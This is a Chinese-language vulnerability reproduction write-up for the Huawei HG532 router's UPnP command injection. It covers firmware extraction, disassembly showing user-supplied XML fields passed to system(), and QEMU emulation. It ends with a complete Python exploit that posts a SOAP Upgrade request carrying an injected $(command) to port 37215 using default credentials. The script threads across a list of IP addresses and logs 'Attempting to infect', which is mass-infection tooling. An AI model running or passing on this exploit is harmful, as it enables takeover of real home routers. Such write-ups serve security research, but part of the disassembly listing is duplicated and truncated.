华为路由器Huawei HG532漏洞复现过程
漏洞分析
这次出问题的点是upnp程序
home/oit/Downloads/_router HG532e.rar-0.extracted/_HG532eV100R001C01B020_upgrade_packet.bin.extracted/squashfs-root/bin [oit@ubuntu] [18:36]
> file upnp
upnp: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size
是MIPS32位大端格式
UPnP 是由“通用即插即用论坛”（UPnP™ Forum）推广的一套网络协议。该协议的目标是使家庭网络（数据共享、通信和娱乐）和公司网络中的各种设备能够相互无缝连接，并简化相关网络的实现。
丢到IDA中分析
LOAD:004074FC la $a1, aNewstatusurl # "NewStatusURL"
LOAD:00407500 move $a2, $zero
LOAD:00407504 jalr $t9 ; ATP_XML_GetChildNodeByName
LOAD:00407508 addiu $a3, $sp, 0x24
LOAD:0040750C lw $gp, 0x18($sp)
LOAD:00407510 bnez $v0, loc_407564
LOAD:00407514 move $s1, $v0
LOAD:00407518 lw $v0, 0x24($sp)
LOAD:0040751C nop
LOAD:00407520 beqz $v0, loc_407564
LOAD:00407524 addiu $s0, $sp, 0x28
LOAD:00407528 la $t9, snprintf
LOAD:0040752C lw $a3, 0x20($sp)
LOAD:00407530 la $a2, aUpgGUST1Firmwa # "upg -g -U %s -t '1 Firmware Upgrade Ima"...
LOAD:00407538 move $a0, $s0
LOAD:0040753C li $a1, 0x400
LOAD:00407540 jalr $t9 ; snprintf
LOAD:00407544 sw $v0, 0x10($sp)
LOAD:00407548 lw $gp, 0x18($sp)
LOAD:0040754C nop
OAD:00407520 beqz $v0, loc_407564
LOAD:00407524 addiu $s0, $sp, 0x28
LOAD:00407528 la $t9, snprintf
LOAD:0040752C lw $a3, 0x20($sp)
LOAD:00407530 la $a2, aUpgGUST1Firmwa # "upg -g -U %s -t '1 Firmware Upgrade Ima"...
LOAD:00407538 move $a0, $s0
LOAD:0040753C li $a1, 0x400
LOAD:00407540 jalr $t9 ; snprintf
LOAD:00407544 sw $v0, 0x10($sp)
LOAD:00407548 lw $gp, 0x18($sp)
LOAD:0040754C nop
LOAD:00407550 la $t9, system
先调用了一个xml相关的函数，获取参数的值，很明显的看到了参数拼接的行为，之后调用了system函数
snprintf($s0, 0x400, 'upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -', NewDownloadURL, NewStatusURL)
system($s0)
不过还有一个认证机制需要 Authorization 头 才能过掉 check, 否则会 401
image
实际测试
尝试直接运行脚本失败了
root@ml-vm:/home/oit/tools/fat# ./sources/extractor/extractor.py -b iot -sql 127.0.0.1 -np -nk "./HG532e.rar" images
-----------------Extractor Start----------------
input:./HG532e.rar
output:images
rootfs:True
kernel:False
parallel:False
sql:127.0.0.1
brand:iot
-----------------Extractor End------------------
>> Database Image ID: 146
/home/oit/tools/fat/HG532e.rar
>> MD5: 9986b8aee8e1eb511a8bbb3a39b485e4
>> Tag: 146
>> Temp: /tmp/tmpLXreHs
>> Status: Kernel: True, Rootfs: False, Do_Kernel: False, Do_Rootfs: True
>>>> RAR archive data, first volume type: MAIN_HEAD
>> Recursing into archive ...
Traceback (most recent call last):
File "./sources/extractor/extractor.py", line 425, in extract
File "./sources/extractor/extractor.py", line 472, in _check_archive
File "./sources/extractor/extractor.py", line 693, in _check_recursive
File "./sources/extractor/extractor.py", line 381, in extract
UnicodeDecodeError: 'ascii' codec can't decode byte 0xd8 in position 37: ordinal not in range(128)
>> Cleaning up /tmp/tmpLXreHs...
打算用qemu运行一个虚拟机来搞
root@ml-vm:/mnt/hgfs/IOTEXP/_router HG532e.rar.extracted/_HG532eV100R001C01B020_upgrade_packet.bin.extracted# sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -nographic -net nic -net tap,ifname=br0,script=no,downscript=no
[ 0.000000] Initializing cgroup subsys cpuset
[ 0.000000] Initializing cgroup subsys cpu
[ 0.000000] Linux version 2.6.32-5-4kc-malta (Debian 2.6.32-48squeeze4) (dannf@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 Tue Sep 24 00:02:22 UTC 2013
[ 0.000000]
[ 0.000000] LINUX started...
[ 0.000000] bootconsole [early0] enabled
[ 0.000000] CPU revision is: 00019300 (MIPS 24Kc)
[ 0.000000] FPU revision is: 00739300
[ 0.000000] Determined physical RAM map:
[ 0.000000] memory: 00001000 @ 00000000 (reserved)
...
[ 0.000000] SLUB: Genslabs=7, HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
[ 0.000000] Hierarchical RCU implementation.
[ 0.000000] NR_IRQS:256
[ 0.000000] CPU frequency 200.00 MHz
[ 0.000000] Console: colour dummy device 80x25
[ 0.000000] console [tty0] enabled, bootconsole disabled
但是一直没有打开shell
换了一个磁盘和内核，成功地开启了虚拟机但是网络配置没有成功
修改了配置文件
> sudo cat /etc/network/interfaces
[sudo] password for oit:
# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet manual
up ifconfig eth0 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_stp off
bridge_maxwait 1
之后拷贝文件进去：
scp -r ./squashfs-root root@192.168.104.187:/root
进入虚拟机之后开启服务
exp
import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "" # Your MIPS (SSHD)
rm = "<?xml version=\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>"
class exploit(threading.Thread):
def __init__ (self, ip):
threading.Thread.__init__(self)
self.ip = str(ip).rstrip('\n')
def run(self):
try:
url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
print "[SOAP] Attempting to infect " + self.ip
except Exception as e:
pass
for ip in ips:
try:
n = exploit(ip)
n.start()
time.sleep(0.03)
except:
pass
确实成功了
但是没有虚拟机上没有这个命令emmm
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